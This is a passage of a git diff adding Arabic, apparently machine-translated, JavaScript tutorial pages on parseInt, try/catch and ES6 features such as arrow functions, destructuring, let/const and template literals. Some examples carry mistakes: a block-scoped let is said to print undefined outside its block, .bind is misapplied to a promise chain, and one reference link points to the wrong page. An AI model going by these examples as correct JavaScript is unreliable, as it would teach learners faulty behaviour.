+قيمة التحليل. إذا كانت `string` الحجة ليست سلسلة، ثم يتم تحويلها إلى سلسلة (باستخدام `ToString` عملية مجردة). يتم تجاهل المسافة البيضاء الرائدة في الوسيطة string. ' الأصل عدد صحيح بين 2 و 36 يمثل الراديكس (الأساس في أنظمة الأرقام الرياضية) للسلسلة المذكورة أعلاه. حدد الرقم `10` لنظام الأرقام العشري الذي يشيع استخدامه من قبل البشر. حدد دائمًا هذه المعلمة لإزالة ارتباك القراء وضمان سلوك يمكن التنبؤ به. تنتج التطبيقات المختلفة نتائج مختلفة عندما لا يتم تحديد radix ، وعادة ما تعطل القيمة إلى 10. قيمة الإرجاع رقم صحيح يتم تحليله من السلسلة المحددة. إذا كان لا يمكن تحويل الحرف الأول إلى رقم ، يتم إرجاع `NaN` .
+
+### وصف
+
+تقوم الدالة `parseInt` بتحويل أول وسيطة لها إلى سلسلة ، وتقوم بتوزيعها وإرجاع عدد صحيح أو `NaN` . إذا لم يكن `NaN` ، ستكون القيمة التي تم إرجاعها العدد الصحيح الذي يمثل الوسيطة الأولى التي تم أخذها كرقم في radix المحدد (الأساسي). على سبيل المثال ، يشير radix 10 إلى تحويل من رقم عشري و 8 ثماني و 16 ست عشري وهكذا. بالنسبة للرادود فوق `10` ، تشير حروف الأبجدية إلى أرقام أكبر من 9. على سبيل المثال ، بالنسبة للأرقام السداسية العشرية (الأساس 16) ، يتم استخدام `A` إلى `F`
+
+إذا واجه `parseInt` حرفًا ليس رقمًا في الجذر المحدد ، فإنه يتجاهله وجميع الأحرف المتتالية ويعيد قيمة العدد الصحيح إلى تلك النقطة. `parseInt` الأرقام إلى قيم عدد صحيح. يسمح المساحات الرائدة واللاحقة.
+
+نظرًا لأن بعض الأرقام تتضمن حرف `e` في تمثيل السلسلة الخاصة بهم (مثل `6.022e23` ) ، فإن استخدام `parseInt` لاقتطاع قيم رقمية سيؤدي إلى نتائج غير متوقعة عند استخدامها على أعداد كبيرة أو صغيرة جدًا. لا يجب استخدام `parseInt` كبديل لـ `Math.floor()` .
+
+إذا كان radix غير `undefined` أو 0 (أو `undefined` موجود) ، يفترض JavaScript ما يلي:
+
+*   إذا كانت `string` الإدخال تبدأ بـ "0x" أو "0X" ، يكون radix 16 (سداسي عشري) ويتم تحليل الباقي من السلسلة.
+*   إذا كانت `string` الإدخال تبدأ بـ "0" ، يكون الجذر ثمانية (ثماني) أو 10 (عشري). بالضبط ما هو اختيار radix هو معتمد على التنفيذ. يحدد ECMAScript 5 أنه يتم استخدام 10 (عشري) ، ولكن لا تدعم كل المتصفحات هذا حتى الآن. لهذا السبب ، حدد دائما الجذر عند استخدام parseInt.
+*   إذا كانت `string` الإدخال تبدأ بأي قيمة أخرى ، يكون الجذر 10 (عشري).
+*   إذا كان لا يمكن تحويل الحرف الأول إلى رقم ، فسيعيد parseInt NaN.
+
+للأغراض الحسابية ، قيمة NaN ليست رقماً في أي radix. يمكنك استدعاء الدالة isNaN لتحديد ما إذا كانت نتيجة parseInt هي NaN. إذا تم نقل NaN إلى العمليات الحسابية ، فإن نتائج العملية ستكون أيضًا NaN.
+
+لتحويل الرقم إلى السلسلة الحرفية الخاصة به في radix معين ، استخدم intValue.toString (radix).
+
+### أمثلة
+
+باستخدام `parseInt` الأمثلة التالية كلها ترجع `15` :
+
+ `    parseInt(' 0xF', 16); 
+    parseInt(' F', 16); 
+    parseInt('17', 8); 
+    parseInt(021, 8); 
+    parseInt('015', 10);   // parseInt(015, 10); will return 15 
+    parseInt(15.99, 10); 
+    parseInt('15,123', 10); 
+    parseInt('FXX123', 16); 
+    parseInt('1111', 2); 
+    parseInt('15 * 3', 10); 
+    parseInt('15e2', 10); 
+    parseInt('15px', 10); 
+    parseInt('12', 13); 
+` 
+
+والأمثلة التالية كلها ترجع إلى `NaN` :
+
+ `    parseInt('Hello', 8); // Not a number at all 
+    parseInt('546', 2);   // Digits are not valid for binary representations 
+` 
+
+الأمثلة التالية جميع العودة `-15` :
+
+ `    parseInt('-F', 16); 
+    parseInt('-0F', 16); 
+    parseInt('-0XF', 16); 
+    parseInt(-15.1, 10) 
+    parseInt(' -17', 8); 
+    parseInt(' -15', 10); 
+    parseInt('-1111', 2); 
+    parseInt('-15e1', 10); 
+    parseInt('-12', 13); 
+` 
+
+الأمثلة التالية جميعها ترجع `4` :
+
+ `    parseInt(4.7, 10); 
+    parseInt(4.7 * 1e22, 10); // Very large number becomes 4 
+    parseInt(0.00000000000434, 10); // Very small number becomes 4 
+` 
+
+المثال التالي إرجاع `224` :
+
+ `    parseInt('0e0', 16); 
+` 
+
+#### معلومات اكثر:
+
+[parseInt على MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators)
+
+*   [حاول](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat) [parseInt ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt) و [parseFloat ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat) تحويل السلسلة إلى رقم إذا أمكن. على سبيل المثال ، `var x = parseInt("100"); // x = 100`
+*   سيتم تحويل [Number ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/number) إلى رقم يمكن تمثيل القيمة به. يشمل ذلك التواريخ في عدد المللي ثانية منذ منتصف ليلة 1 يناير 1970 بالتوقيت العالمي المنسق ، القيم المنطقية إلى 1 أو 0 ، والقيم التي لا يمكن تحويلها إلى رقم معروف ستصبح NaN. هذا يعني أنه ليس رقمًا ، وهو أيضًا رقم من الناحية الفنية!
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/error-handling-and-try-catch-throw/index.md b/client/src/guide/arabic/javascript/error-handling-and-try-catch-throw/index.md
new file mode 100644
index 0000000000..76e94e1c47
--- /dev/null
+++ b/client/src/guide/arabic/javascript/error-handling-and-try-catch-throw/index.md
@@ -0,0 +1,147 @@
+---
+title: Error Handling and Try Catch Throw
+localeTitle: خطأ في التعامل ومحاولة رمي الصيد
+---
+## خطأ في التعامل ومحاولة رمي الصيد
+
+يمثل `try...catch..finally` statement عبارة عن مجموعة من العبارات للتجربة ، ويحدد استجابة ، في حالة طرح استثناء. في `try` يحتوي على عبارة واحدة أو أكثر من البيانات، واحد على الأقل `catch` بند أو `finally` فقرة، أو كليهما.
+
+#### `try...catch`
+
+ `try { 
+   throw new Error('my error'); 
+ } 
+ catch (e) { 
+  console.error(e.message); 
+ } 
+ 
+ // Output: 
+ // my error 
+` 
+
+#### `try...finally` :
+
+ `try { 
+   throw new Error('my error'); 
+ } 
+ finally { 
+  console.error('finally'); 
+ } 
+ 
+ // Output: 
+ // finally 
+` 
+
+_ملاحظة:_ عندما لا `catch` الخطأ ، فإنه في الواقع لا "يصطاد" ​​، حتى لو تم تنفيذ الحظر `finally` . وهذا يعني أن الخطأ سيستمر في كتلة `try` العليا (أو الكتلة الرئيسية).
+
+#### `try...catch...finally` :
+
+ `try { 
+   throw new Error('my error'); 
+ } 
+ catch (e) { 
+  console.error(e.message); 
+ } 
+ finally { 
+  console.error('finally'); 
+ } 
+ 
+ // Output: 
+ // my error 
+ // finally 
+` 
+
+الاستخدام النموذجي:
+
+ `try { 
+   openFile(file); 
+   readFile(file) 
+ } 
+ catch (e) { 
+  console.error(e.message); 
+ } 
+ finally { 
+  closeFile(file); 
+ } 
+` 
+
+#### `try...catch` متداخلة `try...catch`
+
+بامكانك ايضا:
+
+*   اعتبر عبارة `try-catch` داخل كتلة `try` .
+*   رمي الخطأ صعودا.
+
+ `try { 
+  try { 
+    throw new Error('my error'); 
+  } 
+  catch (e) { 
+    console.error('inner', e.message); 
+    throw e; 
+  } 
+  finally { 
+    console.log('finally'); 
+  } 
+ } 
+ catch (e) { 
+  console.error('outer', e.message); 
+ } 
+ 
+ // Output: 
+ // inner my error 
+ // finally 
+ // outer my error 
+` 
+
+#### أنواع الخطأ
+
+##### خطأ مرجعي
+
+ `var x; 
+ try { 
+  x = y + 1;   // y cannot be referenced (used) 
+ } 
+ catch(err) { 
+  console.log(err.name, err.message); 
+ } 
+ // ReferenceError y is not defined 
+` 
+
+##### خطأ في بناء الجملة
+
+ `try { 
+    eval("alert('Hello)");   // Missing ' will produce an error 
+ } 
+ catch(err) { 
+    console.log(err.name,err.message); 
+ } 
+ // SyntaxError Invalid or unexpected token 
+` 
+
+##### خطأ مطبعي
+
+ `var num = 1; 
+ try { 
+    num.toUpperCase();   // You cannot convert a number to upper case 
+ } 
+ catch(err) { 
+    console.log(err.name, err.message); 
+ } 
+ // TypeError num.toUpperCase is not a function 
+` 
+
+##### خطأ URI
+
+ `try { 
+    decodeURI("%%%");   // You cannot URI decode these percent signs 
+ } 
+ catch(err) { 
+    console.log(err.name, err.message); 
+ } 
+ // URIError URI malformed 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try…catch) [W3S](https://www.w3schools.com/js/js_errors.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/arrow-functions/index.md b/client/src/guide/arabic/javascript/es6/arrow-functions/index.md
new file mode 100644
index 0000000000..820627a253
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/arrow-functions/index.md
@@ -0,0 +1,57 @@
+---
+title: Arrow Functions
+localeTitle: وظائف السهم
+---
+## وظائف السهم
+
+لقد تغيرت الوظائف في ES6 قليلاً. أعني بناء الجملة.
+
+ `// Old Syntax 
+ function oldOne() { 
+ console.log("Hello World..!"); 
+ } 
+ 
+ // New Syntax 
+ var newOne = () => { 
+ console.log("Hello World..!"); 
+ } 
+` 
+
+قد يكون بناء الجملة الجديد مربكًا بعض الشيء. ولكن سأحاول شرح بناء الجملة. هناك جزئين من بناء الجملة.
+
+1.  var newOne = ()
+2.  \=> {}
+
+الجزء الأول هو مجرد إعلان متغير وتعيين الدالة (أي) () إليها. يقول فقط المتغير هو في الواقع وظيفة.
+
+ثم الجزء الثاني هو إعلان الجزء الأساسي من الوظيفة. جزء السهم مع الأقواس المتعرجة يحدد جزء الجسم.
+
+مثال آخر مع المعلمات:
+
+ `let NewOneWithParameters = (a, b) => { 
+ console.log(a+b); // 30 
+ } 
+ NewOneWithParameters(10, 20); 
+` 
+
+تعتبر الأقواس اختيارية عندما يكون هناك اسم معلمة واحد فقط:
+
+ `let newOneWithOneParam = a => { 
+ console.log(a); 
+ } 
+` 
+
+ميزة لا تصدق من وظيفة الأسهم هو أنه لا يمكنك إعادة وظيفة السهم. سوف يطلق عليه دائما مع السياق الذي تم تعريفه فيه. مجرد استخدام وظيفة عادية.
+
+ `// Old Syntax 
+ axios.get(url).then(function(response) { 
+  this.data = response.data; 
+ }).bind(this); 
+ 
+ // New Syntax 
+ axios.get(url).then(response => { 
+  this.data = response.data; 
+ }); 
+` 
+
+لا أعتقد أنني بحاجة إلى تقديم تفسير لهذا. انها بسيطة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/default-parameters/index.md b/client/src/guide/arabic/javascript/es6/default-parameters/index.md
new file mode 100644
index 0000000000..fc939feed4
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/default-parameters/index.md
@@ -0,0 +1,45 @@
+---
+title: Default Parameters
+localeTitle: المعلمات الافتراضية
+---
+## المعلمات الافتراضية
+
+إذا كنت معتادًا على لغات البرمجة الأخرى مثل Ruby و Python ، فإن المعلمات الافتراضية ليست جديدة بالنسبة لك.
+
+المعلمات الافتراضية هي المعلمات التي يتم إعطاؤها افتراضيا أثناء التصريح عن وظيفة. ولكن يمكن تغيير القيمة عند استدعاء الوظيفة.
+
+مثال
+
+ `let Func = (a, b = 10) => { 
+ return a + b; 
+ } 
+ Func(20); // 20 + 10 = 30 
+` 
+
+في المثال أعلاه ، نمر بمعلمة واحدة فقط. تستخدم الدالة المعلمة الافتراضية وتقوم بتنفيذ الوظيفة.
+
+فكر في مثال آخر:
+
+ `Func(20, 50); // 20 + 50 = 70 
+` 
+
+في المثال أعلاه ، تأخذ الدالة معلمتين وتستبدل المعلمة الثانية المعلمة الافتراضية.
+
+فكر في مثال آخر:
+
+ `let NotWorkingFunction = (a = 10, b) => { 
+ return a + b; 
+ } 
+ NotWorkingFunction(20); // NAN. Not gonna work. 
+` 
+
+عندما تقوم باستدعاء الوظيفة بمعلمات يتم تعيينها في الترتيب. (أي) يتم تعيين القيمة الأولى إلى المعلمة الأولى ويتم تعيين القيمة الثانية إلى المعلمة الثانية وهكذا.
+
+في المثال أعلاه ، يتم تعيين القيمة 20 إلى المعلمة 'a' و 'b' ليس لها أي قيمة. لذلك نحن لا نحصل على أي إخراج.
+
+لكن،
+
+ `NotWorkingFunction(20, 30); // 50; 
+` 
+
+يعمل بشكل جيد.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/destructuring/index.md b/client/src/guide/arabic/javascript/es6/destructuring/index.md
new file mode 100644
index 0000000000..3c8575dfab
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/destructuring/index.md
@@ -0,0 +1,58 @@
+---
+title: Destructuring Assignment
+localeTitle: مهمة التدمير
+---
+## مهمة التدمير
+
+بنية تركيب Destructuring عبارة عن تعبير Javascript يجعل من الممكن فك حزم القيم أو الخصائص من المصفوفات أو الكائنات.
+
+لنفترض أن لديك صفيفًا يحتوي على الاسم الأول واسم العائلة كقيمتين ، ولكنك ترغب في إعادة تعيين هذه القيم إلى شيء أكثر وصفية. يمكنك استخدام Destructuring لإنجاز هذا.
+
+**ES5 Destructuring**
+
+ `var fullName = ["John", "Smith"]; 
+ var firstName = fullName[0]; 
+ var lastName = fullName[1]; 
+ 
+ console.log(firstName, lastName); // John Smith 
+` 
+
+**ES6 Destructuring**
+
+ `const fullName = ["John", "Smith"]; 
+ const [firstName, lastName] = fullName; 
+ 
+ console.log(firstName, lastName); // John Smith 
+` 
+
+توضح الأمثلة المذكورة أعلاه فائدة استخدام تعيين Destructuring ES6.
+
+يمكنك أيضًا استخدام Destructuring على الكائنات باستخدام بناء جملة مشابه
+
+ `const fullName = { first: "John", last: "Smith"}; 
+ const {first, last} = fullName; 
+ 
+ console.log(first, last); // John Smith 
+` 
+
+يختلف تعيين Destructuring Object (كائن Destructuring) عن بعض الشيء لأن الكائن يجب أن يكون له خصائص بالأسماء التي تقوم بتعيينها. لذلك ، لن يعمل الرمز أدناه على النحو المنشود.
+
+ `const fullName = { first: "John", last: "Smith"}; 
+ const {firstName, lastName} = fullName; 
+ 
+ console.log(firstName, lastName); // undefined undefined 
+` 
+
+لا يزال بإمكانك تحقيق النتيجة المرجوة باستخدام بناء الجملة التالي.
+
+ `const obj = {propertyName: value} 
+ {propertyName: desiredVariableName} = obj 
+` 
+
+مثالنا السابق سوف يعاد كتابته على النحو التالي:
+
+ `const fullName = { first: "John", last: "Smith"}; 
+ const {first: firstName, last: lastName} = fullName; 
+ 
+ console.log(firstName, lastName); // John Smith 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/for-of/index.md b/client/src/guide/arabic/javascript/es6/for-of/index.md
new file mode 100644
index 0000000000..4b65e27b10
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/for-of/index.md
@@ -0,0 +1,91 @@
+---
+title: for-of loop
+localeTitle: من أجل حلقة
+---
## من أجل حلقة
+
+يمكن استخدام حلقة for-of للتكرار أكثر من الأشياء التي لا تكون صفائف ولكنها قابلة للتكرار مثل مجموعة DOM أو سلسلة أو مجموعة أو حجج أو خريطة.
+
+ `const fruits = ['Orange','Apple','Grapes','Banana']; 
+ for (const fruit of fruits) 
+ { 
+    console.log(fruit); 
+ } 
+` 
+
+سيقوم المقتطف أعلاه بإرجاع العناصر الموجودة في المصفوفة أعلاه.
+
+## من أجل حلقة في معرفة مؤشر
+
+ماذا لو أردنا أن نعرف مؤشر كل عنصر أيضا. في هذه الحالة يمكننا التكرار أكثر من fruit.entries () الذي يعطينا ArrayIterator.
+
+ `for (const fruit of fruits.entries()) 
+ { 
+    console.log(fruit); 
+ } 
+` 
+
+في المقتطف أعلاه ، ستكون الفاكهة صفيفًا يشتمل على عنصرين. سيحتوي البند 0 على الفهرس وسيتضمن العنصر الأول اسم الفاكهة الفعلي. سيكون الناتج كما يلي:
+
+ `[0, "Orange"] 
+ 
+ [1, "Apple"] 
+ 
+ [2, "Grapes"] 
+ 
+ [3, "Banana"] 
+` 
+
+يمكننا مزيد من تدمير الفاكهة على النحو التالي:
+
+ `for (const [index,fruit] of fruits.entries()) 
+ { 
+    console.log(index,fruit); 
+ } 
+` 
+
+## for-of حلقة في تكرار على عدد غير معروف من الحجج
+
+for-of loop مفيد جدا في التكرار على عدد غير معروف من الحجج لوظيفة.
+
+لنفترض أننا نريد أن نضيف الأرقام التي تم تمريرها إلى إحدى الوظائف وأن عدد الوسيطات غير ثابت.
+
+"الحجج" هي كلمة رئيسية خاصة في javascript والتي تعطينا نوع Array-ish (ليس مصفوفة) وتعطينا جميع الحجج.
+
+ `function addNumbers() 
+ { 
+    let sum = 0; 
+    for (const num of arguments) 
+       sum+=num; 
+    return sum; 
+ } 
+ addNumbers(1, 2, 3, 4, 5); // 15 
+` 
+
+هنا الحجج ليست مجموعة حقيقية لا يزال يمكننا تكرارها باستخدام حلقة for-of.
+
+## for-of loop للتكرار عبر السلسلة
+
+يمكننا استخدام for-of loop للتكرار عبر سلسلة لإعطائنا شخصية من خلال حرف السلسلة.
+
+ `const name = 'John Doe'; 
+ for (const char of name) 
+    console.log(char); 
+` 
+
+مما ينتج عنه الإخراج التالي: الأحرف 'J' ، 'o' ، 'h' ، 'n' ، '' ، 'D' ، 'o' ، 'e'
+
+## for-of loop للتكرار عبر مجموعة DOM
+
+مجموعات DOM ليست نوع الصفيف الحقيقي. وعادة ما تكون NodeList لمعظم المتصفحات. إذا قمنا بإنشاء عدد من الفقرات وأردت التكرار بدلاً منها لتعيين بعض الأحداث في كل من الفقرات ، فيمكننا استخدام حلقة for for of.
+
+ `const paragraphs = document.querySelectorAll('p'); 
+` 
+
+الفقرات هنا هي NodeList التي يمكن تكرارها باستخدام حلقة for-of.
+
+ `for (const para of paragraphs) 
+ { 
+    console.log(para); 
+    // We can add event listeners to each para here 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/index.md b/client/src/guide/arabic/javascript/es6/index.md
new file mode 100644
index 0000000000..a180a9fcd5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/index.md
@@ -0,0 +1,56 @@
+---
+title: ES6
+localeTitle: ES6
+---
+## ES6
+
+تسمى النسخة السادسة من ECMAScript بـ ES6.
+
+ومن المعروف أيضا باسم ES2015.
+
+تضيف التغييرات الكثير من السكر النحوي الذي يسمح للمطورين بإنشاء تطبيقات بأسلوب موجه للكائنات.
+
+> مثال ES5:
+
+ `var User = function () { 
+  function User(name) { 
+    this._name = name; 
+  } 
+ 
+  User.prototype.getName = function getName(x) { 
+    return 'Mr./Mrs. ' + this._name; 
+  }; 
+ 
+  return User; 
+ }(); 
+` 
+
+> مثال ES6:
+
+ ``class User { 
+  constructor(name) { 
+    this._name = name 
+  } 
+ 
+  getName() { 
+    return `Mr./Mrs. ${this._name}` 
+  } 
+ } 
+`` 
+
+تم تقديم الكثير من ميزات بناء الجملة الجديدة بما في ذلك:
+
+*   الطبقات،
+*   وحدات،
+*   النموذجيه،
+*   ل / من الحلقات ،
+*   تعبيرات المولدات ،
+*   وظائف السهم ،
+*   مجموعات،
+*   وعود.
+
+في الوقت الحاضر ، تتوفر معظم الميزات في جميع المتصفحات الشائعة. يحتوي [جدول التوافق](https://kangax.github.io/compat-table/es6/) على جميع المعلومات حول توفر الميزات لجميع المتصفحات الحديثة.
+
+كثيرًا ما تصل الميزات الجديدة التي تشكل جزءًا من خليفة ES7. الطريقة الشائعة هي ترجمة JavaScript الحديثة (ES6 و ES7 وغيرها من المقترحات التجريبية) إلى ES5. يجعل هذا من المتصفحات القديمة أيضًا إمكانية تنفيذ الشفرة. هناك أدوات مثل [بابل](https://babeljs.io/) التي تحول جافا سكريبت الجديدة إلى ES5.
+
+إلى جانب السكر النحوي القادم من معايير ECMAScript هناك ميزات تتطلب [Polyfill](https://babeljs.io/docs/usage/polyfill) . عادة ما تكون ضرورية لأن تطبيقات الطبقة / الطريقة كلها أضيفت إلى المعيار.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/let-and-const/index.md b/client/src/guide/arabic/javascript/es6/let-and-const/index.md
new file mode 100644
index 0000000000..aaec00aeeb
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/let-and-const/index.md
@@ -0,0 +1,52 @@
+---
+title: Let and Const
+localeTitle: واسمحوا Const
+---
+## سمح
+
+دعونا مماثلة ل var ولكن دعونا لها نطاق. دعونا لا يمكن الوصول إليها إلا في مستوى الكتلة يتم تعريفها.
+
+ `if (true) { 
+ let a = 40; 
+ console.log(a); //40 
+ } 
+ console.log(a); // undefined 
+` 
+
+في المثال أعلاه ، يتم تعريف المتغير "a" داخل عبارة If ، وبالتالي لا يمكن الوصول إليه خارج الدالة.
+
+مثال آخر:
+
+ `let a = 50; 
+ let b = 100; 
+ if (true) { 
+ let a = 60; 
+ var c = 10; 
+ console.log(a/c); // 6 
+ console.log(b/c); // 10 
+ } 
+ console.log(c); // 10 
+ console.log(a); // 50 
+` 
+
+## CONST
+
+يتم استخدام Const لتعيين قيمة ثابتة للمتغير. ولا يمكن تغيير القيمة. انها ثابتة.
+
+ `const a = 50; 
+ a = 60; // shows error. You cannot change the value of const. 
+ const b = "Constant variable"; 
+ b = "Assigning new value"; // shows error. 
+` 
+
+فكر في مثال آخر.
+
+ `const LANGUAGES = ['Js', 'Ruby', 'Python', 'Go']; 
+ LANGUAGES = "Javascript"; // shows error. 
+ LANGUAGES.push('Java'); // Works fine. 
+ console.log(LANGUAGES); // ['Js', 'Ruby', 'Python', 'Go', 'Java'] 
+` 
+
+قد يكون هذا مربكًا قليلاً.
+
+النظر في هذا الطريق. عندما تحدد متغير const ، تشير Javascript إلى عنوان القيمة إلى المتغير. في مثالنا ، يشير المتغير 'LANGUAGES' بالفعل إلى الذاكرة المخصصة للصفيف. لذلك لا يمكنك تغيير المتغير للإشارة إلى بعض مواقع الذاكرة الأخرى لاحقًا. طوال البرنامج يشير فقط إلى الصفيف.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/map-function/index.md b/client/src/guide/arabic/javascript/es6/map-function/index.md
new file mode 100644
index 0000000000..a4cb31b78e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/map-function/index.md
@@ -0,0 +1,23 @@
+---
+title: Map Function
+localeTitle: وظيفة الخريطة
+---
## وظيفة الخريطة
+
+يتم استخدام وظيفة `map()` لإنشاء صفيف جديد من صف واحد موجود ، وتطبيق وظيفة على كل عنصر من عناصر الصفيف الأول.
+
+الصيغة الأصلية لدالة الخريطة هي:
+
+ `  let new_arr = arr.map(function callback(currentValue, index, array) { 
+                  // Do some stuff with currentValue (index and array are optionals) 
+                }) 
+` 
+
+### مثال (ES6):
+
+ `const myArray_1 = [1, 2, 3, 4]; 
+ const myArray_2 = myArray_1.map(el => el * 2); 
+` 
+
+`myArray_2` على العناصر: `[2, 4, 6, 8]`
+
+`map()` هي إحدى طرق كائن `Array` ، لذا لتمرير هذه الوظيفة إلى كائن متكرر ، من الضروري جعل الكائن مصفوفة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/new-string-functions/index.md b/client/src/guide/arabic/javascript/es6/new-string-functions/index.md
new file mode 100644
index 0000000000..625ea6dbbd
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/new-string-functions/index.md
@@ -0,0 +1,58 @@
+---
+title: New String Functions
+localeTitle: وظائف السلسلة الجديدة
+---
## وظائف السلسلة الجديدة
+
+بعد أربع وظائف تضاف جديدة إلى سلاسل في ES6.
+
+*   ابدا ب
+*   endsWith
+*   يشمل
+*   كرر
+
+## ابدا ب:
+
+هذه وظيفة حساسة لحالة الأحرف تساعدنا على معرفة ما إذا كانت سلسلة معينة تبدأ ببعض السلسلة الفرعية.
+
+يبدأ في استخدام الوسيطة الاختيارية الثانية المسماة الموضع الذي يمكننا استخدامه في حالة ما إذا كنا نريد تخطي عدد معين من الأحرف من بداية السلسلة قبل البحث.
+
+ `const str ='Rachna'; 
+ str.startsWith('Rad') //false 
+ str.startsWith('ra') //false as it is case sensitive 
+ str.startsWith('Ra') //true 
+ str.startsWith('ch',2) //true as we are searching from the second position 
+ str.startsWith('ch',3) //false 
+` 
+
+## endsWith
+
+هذه وظيفة حساسة لحالة الأحرف تساعدنا على معرفة ما إذا كانت سلسلة معينة تنتهي ببعض السلسلة الفرعية.
+
+ينتهي الأمر مع وسيطة اختيارية ثانية تسمى endPosition والتي يمكننا استخدامها لتضمين عدد الأحرف قبل البحث.
+
+ `const city= 'Delhi'; 
+ city.endsWith('Hi'); //false as it is case sensitive 
+ city.endsWith('hi');//true 
+ city.endsWith('l',3);//true - include only first three characters before searching 
+ city.endsWith('l',4);//false 
+` 
+
+## يشمل
+
+يتضمن الدالة أيضًا دالة تحسس حالة تتحقق مما إذا كانت searchString موجودة في أي مكان في السلسلة.
+
+ `const name='John Doe'; 
+ name.includes('do'); //false 
+ name.includes('D'); //true 
+ name.includes('Do'); //true 
+` 
+
+## كرر
+
+يتيح لنا تكرار إجراء سلسلة وتكرارها عدة مرات.
+
+ `const str = 'This is repeated'; 
+ str.repeat(3); //"This is repeatedThis is repeatedThis is repeated" 
+` 
+
+يمكن استخدام وظيفة تكرار لوحة السلسلة من اليسار مع عدد من المسافات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/some-function/index.md b/client/src/guide/arabic/javascript/es6/some-function/index.md
new file mode 100644
index 0000000000..732ce2a5ad
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/some-function/index.md
@@ -0,0 +1,23 @@
+---
+title: Some Function
+localeTitle: بعض الوظائف
+---
## بعض الوظائف
+
+يتم استخدام الدالة `some()` للتحقق مما إذا كان عنصر واحد على الأقل من صفيف يفي بشرط معين. تقوم الدالة بإرجاع `true` إذا تم استيفاء الشرط بواسطة عنصر واحد ، و false إذا استوفى أي من العناصر الشرط
+
+الصيغة الأصلية لبعض الوظائف هي:
+
+ `arr.some(function callback(currentValue, index, array) { 
+  // Do some stuff with currentValue (index and array are optionals) 
+ }, [thisArg]); 
+` 
+
+### مثال (ES6):
+
+ `const arr = [1, 4, 5, 11]; 
+ if (arr.some(el => el % 2 == 0)) { 
+  console.log("There's at least one even number"); 
+ } 
+` 
+
+`some()` هو أسلوب كائن `Array` ، بحيث لتمرير هذه الدالة إلى كائن iterable من الضروري التأكد من أن الكائن هو صفيف.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/spread-operator/index.md b/client/src/guide/arabic/javascript/es6/spread-operator/index.md
new file mode 100644
index 0000000000..4131a8619f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/spread-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Spread Operator
+localeTitle: انتشار المشغل
+---
## انتشار المشغل
+
+يسمح عامل الانتشار ( `...` ) ، بالحصول على عناصر المجموعة.
+
+أحد أكثر الاستخدامات شيوعًا هو `Node` Objects ، عند استخدام محددات الاستعلام في المستعرض ، وذلك لجعلها كائنات Array القابلة للتكرار:
+
+ `const paragraphs = document.querySelectorAll('p.paragraph'); 
+ const arr = [...paragraphs]; 
+` 
+
+استخدام آخر لمشغل الانتشار هو لتسلسل صفيف:
+
+ `const arr_1 = [1, 2, 3, 4] 
+ const arr_2 = [5, 6, 7, 8] 
+ const arr_final = [...arr_1, ...arr_2] 
+ // arr_final = [1, 2, 3, 4, 5, 6, 7, 8] 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/es6/template-literals/index.md b/client/src/guide/arabic/javascript/es6/template-literals/index.md
new file mode 100644
index 0000000000..c1036e68ba
--- /dev/null
+++ b/client/src/guide/arabic/javascript/es6/template-literals/index.md
@@ -0,0 +1,71 @@
+---
+title: Template Literals
+localeTitle: قالب حرفية
+---
## قالب حرفية
+
+## المقدمة:
+
+عندما نريد استخدام المتغير لإنشاء سلسلة ، يصبح مؤلماً للغاية حيث يتعين علينا استخدام إشارة + لسَلسَط وتتبع عروض الأسعار.
+
+الآن مع ES6 ، يمكننا إنشاء سلسلة باستخدام backticks واستخدام العناصر النائبة المشار إليها بعلامة الدولار والأقواس المجعدة ، مثل $ {expression}.
+
+ ``const name='John'; 
+ const city='London'; 
+ 
+ Older Style: 
+ const sentence ='My name is '+ name +'. I live in '+city. 
+ ES6 way: 
+ const sentence = `My name is ${name}. I live in ${city}`; 
+ Here ${name} and ${city}are going to be interpolated by the variable name and city respectively. 
+`` 
+
+## سلاسل MultiLine:
+
+نمط أقدم:
+
+عندما أردنا أن نمتد إلى سلسلة متعددة ، كان علينا استخدام الخطوط المائلة العكسية.
+
+ `const multipleLineString= "We have \ 
+ multiple lines \ 
+ here"; 
+` 
+
+الآن عندما نريد إنشاء سلسلة mutiline ، يمكننا الاستفادة من سلاسل القوالب. يمكننا أن تحيط سلسلة لدينا مع backticks. هذا النهج مفيد للغاية عندما نريد إنشاء بعض ترميز html الديناميكي.
+
+ ``const htmlMarkup = ` 
+ <html> 
+ <head></head> 
+ <title>Template string</title> 
+ <body>Hello World</body> 
+ </html>`; 
+`` 
+
+## تداخل سلاسل قوالب:
+
+يمكننا تداخلهم داخل بعضهم البعض.
+
+ ``const cities =[ 
+ {name:'Delhi', year: 2010}, 
+ {name:'Mumbai', year: 2015}, 
+ {name:'Kolkata', year: 2017}]; 
+ 
+ 
+ const markup = ` 
